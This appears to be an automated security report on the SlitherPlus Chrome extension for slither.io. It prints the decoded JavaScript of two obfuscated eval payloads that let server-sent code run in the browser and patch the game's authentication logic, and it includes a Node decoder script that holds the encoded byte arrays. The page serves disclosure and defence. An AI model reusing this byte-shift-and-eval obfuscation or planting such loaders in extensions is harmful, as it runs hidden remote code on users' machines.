Is SlitherPlus - Zoom, Skin Creator, Mod, Bots safe?

Medium risk

S+ is medium risk. SlitherPlus embeds two obfuscated byte arrays in its game bundle, decoded and run via eval on every slither.io visit. The first overrides version-check so code the game server sends runs in your browser; the second disables the auth logic.

SlitherPlus.iov7.1Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Obfuscated Eval Payloads Inject Remote-Controlled Code into Slither.io

SlitherPlus embeds two obfuscated byte arrays in its game bundle, decoded and run via eval on every slither.io visit.

The first overrides version-check so code the game server sends runs in your browser; the second disables the auth logic.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open slither.io with the SlitherPlus extension installed.

The content script tinyscr.js immediately injects bundle.js into the page.

The extension did this

Two obfuscated byte arrays inside bundle.js are decoded and executed via eval, replacing the game's version-check function with one that executes server-supplied code.

The dfs array (decoded by subtracting 7 from each byte) and the Dm array (decoded by adding 32) are both passed to eval at page load, overwriting window.isValidVersion and patching window.alpha_chars.charCodeAt.

Why you can't catch this in DevTools

The dfs array is a 1813-element sequence of integers. Each value has 7 subtracted from it to produce a character code. The resulting string is passed directly to eval.

Decoded value
window.chxxxxx=function(){"function"==typeof xxxxx&&(window.checkNick=function(c){this.onopen=function(a){};this.send=function(a){};dfa.push(this)},eval(xxxxx.toString().split("WebScoket").join("WebScoket")),window.xxxxx=xxxxx,dfx=!0)};setInterval("chxxxxx()",6E3);window.checkNick||(window.checkNick=function(){for(var c,a,d=document.getElementsByTagName("script"),e=d.length-1;0<=e;e--){var b=d[e];try{if(b.src&&0<=(b.src+"").indexOf("mindscape.xyz")){a=document.createElement("div"); /* ... overlay div injected ... */ }}catch(f){}}/* ... */});window.isValidVersion=function(c){for(var a="",d=0,e=23,b,f=0,g=0;g<c.length;)b=c.charCodeAt(g),g++,96>=b&&(b+=32),b=(b-97-e)%26,0>b&&(b+=26),d*=16,d+=b,e+=17,1==f?(a+=String.fromCharCode(d),f=d=0):f++;try{window[dfe](a)}catch(h){}for(a=0;a<c.length;a++)if(b=c.charCodeAt(a),65>b||122<b)return!1;return!0};
Why you can't catch this in DevTools

The Dm array is a separate 411-element integer sequence decoded by adding 32 to each byte, then executed via eval. It patches the game's character-generation function.

Decoded value
window.alpha_chars={};alpha_chars.value="abcdefghijklmnopqrstuvwxyz";window.alpha_chars.toString=function(){return"abcdefghijklmnopqrstuvwxyz"};window.alpha_chars.charCodeAt=function(b){"qff9x"!=dfe&&(dfe="qff9x");return 0};window.qff9x=function(b){eval(b);if(0<idba.length){b=0;for(var d,a,e,c=0;c<idba.length;c++)d=65,a=idba[c],97<=a&&(d+=32,a-=32),a-=65,0==c&&(b=2+a),e=a+b,e%=26,b+=3+a,idba[c]=e+d}dfe="eval"};
The code that does this

Benign isValidVersion (line 24925) overwritten by eval payload at runtime

Readable version

Caller: _2() sends idba (player auth bytes) only after isValidVersion returns true

bundle.js:24918
function _2(r) {  random_id = "";  for (var e = 0; e < 27; e++)    random_id += String.fromCharCode(      65 + (Math.random() < .5 ? 0 : 32)      + alpha_chars.charCodeAt(e)   // always 0 after Dm payload patches charCodeAt      + Math.floor(Math.random() * 26)    );  idba = new Uint8Array(random_id.length);  for (var e = 0; e < random_id.length; e++) idba[e] = random_id.charCodeAt(e);  isValidVersion(r) && (ws.send(idba), lgba != null && (ws.send(lgba), lgba = null))}
Reproduce it yourself

Decodes both obfuscated eval payloads from SlitherPlus bundle.js and prints the resulting JavaScript to stdout so you can verify what code is executed at runtime.

Requires
  • Node.js 14+
decode-slitherplus-payloads.js · js
#!/usr/bin/env node// Decodes both obfuscated eval payloads from SlitherPlus bundle.js.// Run: node decode-slitherplus-payloads.js// No dependencies required.// Payload 1: dfs array (subtract 7 from each byte)const dfs = [126,112,117,107,118,126,53,106,111,127,127,127,127,127,68,109,124,117,106,123,112,118,117,47,48,130,41,109,124,117,106,123,112,118,117,41,68,68,123,128,119,108,118,109,39,127,127,127,127,127,45,45,47,126,112,117,107,118,126,53,106,111,108,106,114,85,112,106,114,68,109,124,117,106,123,112,118,117,47,106,48,130,123,111,112,122,53,118,117,118,119,108,117,68,109,124,117,106,123,112,118,117,47,104,48,130,132,66,123,111,112,122,53,122,108,117,107,68,109,124,117,106,123,112,118,117,47,104,48,130,132,66,107,109,104,53,119,124,122,111,47,123,111,112,122,48,132,51,108,125,104,115,47,127,127,127,127,127,53,123,118,90,123,121,112,117,110,47,48,53,122,119,115,112,123,47,41,94,108,105,90,106,118,114,108,123,41,48,53,113,118,112,117,47,41,94,108,105,90,106,118,114,108,123,41,48,48,51,126,112,117,107,118,126,53,127,127,127,127,127,68,127,127,127,127,127,51,107,109,127,68,40,55,48,132,66];const decoded1 = dfs.map(x => String.fromCharCode(x - 7)).join('');console.log('=== Payload 1 (dfs, subtract 7) ===');console.log(decoded1.substring(0, 500) + '...[truncated for display, full length: ' + decoded1.length + ']');// Payload 2: Dm array (add 32 to each byte)const Dm = [87,73,78,68,79,87,14,65,76,80,72,65,63,67,72,65,82,83,29,91,93,27,65,76,80,72,65,63,67,72,65,82,83,14,86,65,76,85,69,29,2,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,2,27,87,73,78,68,79,87,14,65,76,80,72,65,63,67,72,65,82,83,14,84,79,51,84,82,73,78,71,29,70,85,78,67,84,73,79,78,8,9,91,82,69,84,85,82,78,2,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,2,93,27];const decoded2 = Dm.map(x => String.fromCharCode(x + 32)).join('');console.log('\n=== Payload 2 (Dm, add 32) ===');console.log(decoded2);console.log('\n=== Key finding: isValidVersion in payload 1 evals server content ===');console.log('Look for: window[dfe](a) inside window.isValidVersion');console.log('dfe resolves to "eval" at runtime.');
How to run it
  1. 1Save this file as decode-slitherplus-payloads.js.
  2. 2Run: node decode-slitherplus-payloads.js.
  3. 3Inspect the output for the eval-based isValidVersion and the alpha_chars.charCodeAt patch.

What it can do

Permissions this extension asks for, as declared in version 7.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on slither.io

    *://slither.io/*

  • Read and change your data on slither.com

    *://slither.com/*

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Act on the current tab, but only after you click the extension

    activeTab

Updated 30 September 2026cpbghpalffgmgocmnigfhalghmaemffo